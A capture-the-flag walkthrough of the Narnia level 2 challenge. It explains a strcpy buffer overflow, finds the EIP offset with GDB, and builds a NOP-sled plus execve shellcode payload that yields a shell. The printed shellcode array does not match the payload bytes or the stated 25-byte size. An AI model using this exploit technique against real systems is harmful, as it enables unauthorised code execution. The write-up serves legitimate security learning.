Introduction
In the previous write up the environment variable was set to the exploit payload granting an escalated shell. This challenge is different however, it will be building upon the theme of binary analysis.
Getting Started
Once logged into the Narnia server as the narnia2
user the ./narnia2
binary and source code, narnia2.c
are accessible. They can be located at the /narnia/
directory.
First, we will take a peek at the source code. Personally, I like to use the less
command but, the cat
command will work just fine.
Source Code Analysis
Fig. 1: Output for narnia2.c
Analyzing the source code for narnia2.c
we see the header files declared.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
The #include <stdio.h>
lets us know that the standard input and output header file is included in this source code. Check out the documentation for this header file here.
The #include <string.h>
lets us know that the string header file is included in this source code. This library contains several functions for dealing with strings. Check out the documentation for this header file here.
The #include <stdlib.h>
lets us know that the standard general utilities library is included in this source code. This library contains several general purpose functions. For more information check out the documentation for this header file here.
These declarations are used to tell the compiler which libraries to process first. These are pre-processor statements and ensure the availability of the declarations within these libraries. This is useful for us because it is a precurser into letting us know what this program does.
The next line declares the main
function and passes two arguments, argc
and argv
.
int main(int argc, char * argv[]){
The variables named argc
(argument count) and argv
(argument vector). The first argument is the number of parameters passed plus one to include the name of the program that was executed to get those process running. Thus, argc
is always greater than zero and argv[]
is the name of the executable (including the path) that was run to begin this process.
Next we have an array declared named buf
with a size of 128
. This is important to us because we now know the limitations of this variable.
char buf[128];
Moving forward we have an if statement
which tells us if argc == 1
then the statement Usage: %s argument\n", argv[0]
is printed. From what we learned earlier in the main
function declaration. The argv
variable is the actual executable and argc
is the arugments passed to it. This if-statement
tells us that we must pass some argument to the executable in order for it to run.
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
Next we get to the actual functionality of the main
function. First, the strcpy
function takes the arguments passed via argv
and copies it to the variable buf
. The variable buf
only has room for 128
bytes. As indictated by the char buf[128];
declaration. Then the value’s passed are printed out.
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
Binary Analysis
Now that we know a little more about how the program is supposed to run lets see what it looks like when run under the right circumstances. One command I like to run is ltrace
which will run the binary until it exits. Recording and intercepting the dynamic library calls that are called by the executable. This is not necessary however, it will show us some information regarding the memory addresses that are called. Running the executable a few times with ltrace
will show us if the memory addresses change. Indicating the binary was compiled with ASLR (Address Space Layout Randomization). Running the executable with and without a command line argument.
ltrace ./narnia2
ltrace ./narnia2 $(python -c 'print "A"*128')
Fig. 2: Memory address doesn’t change for the main() function.
Now we know the memory address doesn’t change. We supplied exactly 128 A’s so let’s step it up and add some more characters and observe. Let’s add 140 A’s and see what happens.
ltrace ./narnia2 $(python -c 'print "A"*140')
Fig. 3: Segmentation Fault when supplying more than 128 characters
Great! We got a Segmentation Fault
and now we need to determine the exact offset to craft our payload. We will use GDB
to debug the binary while supplying the charcters.
To run the binary through GDB
run the below:
gdb -q ./narnia2
This part is not necessary but I like to set the disassembly flavor to intel.
set disassembly-flavor intel
Then we will disassemble main
and set a breakpoint at the end of the main()
function. Your memory address may be different but you’ll want to set a breakpoint at the leave
operand.
Fig. 4: Disassembly of the main() and breakpoint set
With our breakpoint set we can now run our payload to determine the offset. Knowing the offset is important to know the size of our exploit and knowing where to set the return address. To do this we will supply 140 “A”s plus 4 “B”s and see if our “B”s overwrite the Instruction Pointer(EIP) register.
Fig. 5: The A’s continue to overwrite the EIP register
Ok, so our EIP register was not overwritten by our B’s so it looks like we need to reduce our A’s. We will reduce our A’s by 4 and try again. So we will send 136 A’s and 4 B’s and if that doesn’t work we will continue to reduce our A’s until we see our EIP register overwritten by our B’s.
Fig. 6: The EIP register is overwritten with a payload of 132 A’s.
Exploit Development
We have our offset and know the size we are working with. Let’s start crafting our exploit! Consulting http://shell-storm.org we will be using this Linux x86 execve(“/bin/sh”) shellcode.
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
This shellcode will execute /bin/sh
for us and is 25 bytes in size. Taking our payload of 136 A’s and replace them with a NOP sled (\x90
), minus 25 bytes for our shellcode and 4 bytes for our EIP. The NOP
sled is used to direct the CPU’s instruction execution flow to a desired destination. In this case, our shellcode.
$(python -c 'print "\x90"*107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "B"*4')
Let’s throw our payload at the binary and see what happens.
Fig. 7: The binary with our payload and EIP register overwritten with B’s
Now, we need replace our B’s with the memory address somewhere in the middle of our NOP
sled. To do this we will examine the Stack Pointer (ESP) and find a memory address that is filled with \x90
. To examine the stack.
x/300wx $esp
Fig. 8: The stack with our NOP sled, payload and the EIP buffer
Picking a memory address somewhere in the middle, like 0xffffd850
should work. Essentially what will happen is the EIP
register will be overwritten with our NOP
sled and slide into our shellcode, perpetually. Our new payload looks like this now.
$(python -c 'print "\x90"*107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"')
Fig. 9: The debugger executes a new process when EIP is overwritten with the NOP sled
Great! We can see in the debugger that our payload executes a new program /bin/dash
. This lets us know that our payload is ready. Now it’s time to test it against the binary.
Fig. 10: Successful exploitation of the narnia2 binary
If you missed out on Narnia Level 1 click the button on the left to check it out. If you’re all caught up and want to see more, check out the Narnia Level 3 by clicking the button on the right.